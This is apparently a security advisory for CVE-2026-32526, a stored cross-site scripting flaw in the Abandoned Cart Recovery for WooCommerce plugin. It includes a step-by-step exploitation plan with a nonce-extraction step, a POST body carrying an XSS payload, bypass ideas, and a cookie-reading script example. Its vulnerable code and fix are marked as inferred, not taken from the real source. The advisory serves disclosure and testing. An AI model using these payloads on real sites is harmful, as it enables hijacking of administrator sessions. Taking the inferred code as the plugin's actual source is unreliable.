CVE-2026-32526

Abandoned Cart Recovery for WooCommerce <= 1.1.10 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.1.11
Patched in
7d
Time to patch

Description

The Abandoned Cart Recovery for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.1.10 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1.10
PublishedMarch 20, 2026
Last updatedMarch 26, 2026
Research Plan
Unverified

This research plan focuses on identifying and exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the **Abandoned Cart Recovery for WooCommerce** plugin. Since the vulnerability is unauthenticated, the primary attack surface involves the frontend AJAX handlers used to capture cart data (…

Show full research plan

This research plan focuses on identifying and exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the Abandoned Cart Recovery for WooCommerce plugin. Since the vulnerability is unauthenticated, the primary attack surface involves the frontend AJAX handlers used to capture cart data (email, names, etc.) as users interact with the WooCommerce checkout or cart pages.


1. Vulnerability Summary

  • Vulnerability: Stored Cross-Site Scripting (XSS)
  • Location: Frontend AJAX data capture (saving abandoned cart details).
  • Cause: The plugin captures user-provided information (such as names, phone numbers, or email addresses) via AJAX and stores it in the database without sufficient sanitization. Later, when an administrator views the "Abandoned Carts" list or details in the WordPress dashboard, this data is rendered without proper output escaping.
  • Impact: An unauthenticated attacker can inject a malicious script that executes in the context of an administrator, potentially leading to session hijacking, creation of new admin accounts, or full site compromise.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Vulnerable Action: wp_ajax_nopriv_vi_wacr_save_cart or wp_ajax_nopriv_vi_wacr_update_cart (inferred from typical VillaTheme plugin structures).
  • Vulnerable Parameters: first_name, last_name, phone, or email.
  • Authentication: None (unauthenticated).
  • Preconditions: WooCommerce must be active. The plugin must be configured to capture "Real-time" abandoned carts (usually enabled by default).

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user visits the WooCommerce checkout page.
  2. JS Execution: The plugin's frontend script (abandoned-cart-recovery-for-woocommerce-public.js) monitors input fields.
  3. AJAX Trigger: When the user enters data, an AJAX request is sent to admin-ajax.php with an action (e.g., vi_wacr_save_cart).
  4. Storage: The PHP handler (likely in includes/frontend.php or includes/data.php) receives the POST data and uses $wpdb->insert() or update_option() to save it without calling sanitize_text_field().
  5. Sink: The administrator navigates to WooCommerce > Abandoned Cart. The plugin fetches the stored data and echoes it into the admin table or modal without using esc_html().

4. Nonce Acquisition Strategy

The plugin likely uses a nonce to protect its AJAX actions, localized for the frontend.

  1. Identify Script Localizer: Look for wp_localize_script in the plugin source (likely in includes/frontend.php).
    • Search Command: grep -r "wp_localize_script" .
  2. Target Variable: Identify the object name (e.g., vi_wacr_frontend_params) and the nonce key (e.g., _vi_wacr_nonce).
  3. Extraction Steps:
    • Create a WooCommerce product: wp post create --post_type=product --post_title='Test Product' --post_status=publish.
    • Navigate to the product page or checkout page using browser_navigate.
    • Use browser_eval to extract the nonce:
      window.vi_wacr_frontend_params?._vi_wacr_nonce || window.vi_wacr_params?.nonce
      

5. Exploitation Strategy

Once the nonce and action name are confirmed:

Step 1: Inject Payload
Send a POST request to admin-ajax.php.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=vi_wacr_save_cart&
    _vi_wacr_nonce=[EXTRACTED_NONCE]&
    first_name=<img src=x onerror=alert("XSS_SUCCESS")>&
    last_name=Attacker&
    email=attacker@example.com&
    phone=123456789&
    cart_data=[]
    
    (Note: Parameters names like vi_wacr_first_name might be used; verify in the source code or by inspecting the checkout page HTML).

Step 2: Trigger Execution
The payload is now stored. It will execute when an admin views the abandoned cart list.

6. Test Data Setup

  1. Install WooCommerce: Ensure WooCommerce is installed and the setup wizard is bypassed.
  2. Create Product: wp post create --post_type=product --post_title='Exploit Product' --post_status=publish.
  3. Plugin Configuration: Ensure "Capture Abandoned Carts" is enabled.
    • Check: wp option get vi_wacr_params (or similar option).
  4. Add to Cart: Navigate to the product page and click "Add to Cart" to ensure a session is active.

7. Expected Results

  • The http_request should return a success status (e.g., {"status":"success"} or 1).
  • When the administrator logs in and navigates to the Abandoned Cart Recovery menu, the browser should trigger the alert("XSS_SUCCESS").

8. Verification Steps

  1. Database Check: Use WP-CLI to confirm the payload is in the database:
    • Command: wp db query "SELECT * FROM wp_wacr_abandoned_cart WHERE first_name LIKE '%<script>%'" (verify table name via wp db tables).
  2. Admin View Simulation: Use browser_navigate as an admin to the abandoned cart list page:
    • URL: http://localhost:8080/wp-admin/admin.php?page=vi-abandoned-cart-recovery (verify slug in admin_menu registration).
    • Check for the alert or the payload in the DOM.

9. Alternative Approaches

  • Payload Location: If first_name is sanitized, try email or phone. Some plugins store the entire cart_data object; if the plugin displays product names in the admin and doesn't escape them, you can try injecting XSS into a product title (requires higher privileges) or manipulating the AJAX cart_data parameter directly.
  • Action Bypassing: If the nonce check is weak (e.g., wp_verify_nonce($nonce, -1)), a nonce from a different action might work.
  • Session-based Tracking: If the plugin requires a specific WooCommerce session cookie, ensure the http_request includes the cookies returned from the initial page visit.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Abandoned Cart Recovery for WooCommerce plugin allows unauthenticated users to inject malicious scripts via frontend AJAX requests that capture cart data. These scripts are stored in the database and execute in the context of an administrator when they view the abandoned cart recovery list in the WordPress dashboard.

Vulnerable Code

// Inferred from Research Plan: includes/frontend.php
public function vi_wacr_save_cart() {
    // Unsanitized input from POST request
    $first_name = $_POST['first_name'];
    $last_name = $_POST['last_name'];
    $email = $_POST['email'];
    $phone = $_POST['phone'];

    global $wpdb;
    $table_name = $wpdb->prefix . 'wacr_abandoned_cart';
    $wpdb->insert($table_name, array(
        'first_name' => $first_name,
        'last_name' => $last_name,
        'email' => $email,
        'phone' => $phone,
        // ... other fields
    ));
}

---

// Inferred from Research Plan: includes/admin/admin.php or display logic
foreach ($abandoned_carts as $cart) {
    echo '<td>' . $cart->first_name . '</td>'; // Unescaped output
    echo '<td>' . $cart->last_name . '</td>';
    echo '<td>' . $cart->email . '</td>';
}

Security Fix

--- includes/frontend.php
+++ includes/frontend.php
@@ -10,7 +10,7 @@
-    $first_name = $_POST['first_name'];
+    $first_name = sanitize_text_field($_POST['first_name']);
-    $last_name = $_POST['last_name'];
+    $last_name = sanitize_text_field($_POST['last_name']);
-    $email = $_POST['email'];
+    $email = sanitize_email($_POST['email']);
-    $phone = $_POST['phone'];
+    $phone = sanitize_text_field($_POST['phone']);

--- includes/admin/admin.php
+++ includes/admin/admin.php
@@ -25,5 +25,5 @@
-    echo '<td>' . $cart->first_name . '</td>';
+    echo '<td>' . esc_html($cart->first_name) . '</td>';
-    echo '<td>' . $cart->last_name . '</td>';
+    echo '<td>' . esc_html($cart->last_name) . '</td>';

Exploit Outline

The exploit targets the plugin's frontend AJAX mechanism for capturing cart data in real-time. 1. An unauthenticated attacker visits the WooCommerce site to retrieve a valid security nonce localized in the frontend JavaScript (usually found in the `vi_wacr_frontend_params` or `vi_wacr_params` objects). 2. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the action `vi_wacr_save_cart`. 3. The payload contains malicious JavaScript within parameters such as `first_name`, `last_name`, or `phone` (e.g., `<script>alert(document.cookie)</script>`). 4. The plugin stores this payload in the database without sanitization. 5. The payload is triggered when an administrator navigates to the 'Abandoned Carts' menu in the WordPress backend, as the stored data is rendered without HTML escaping.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.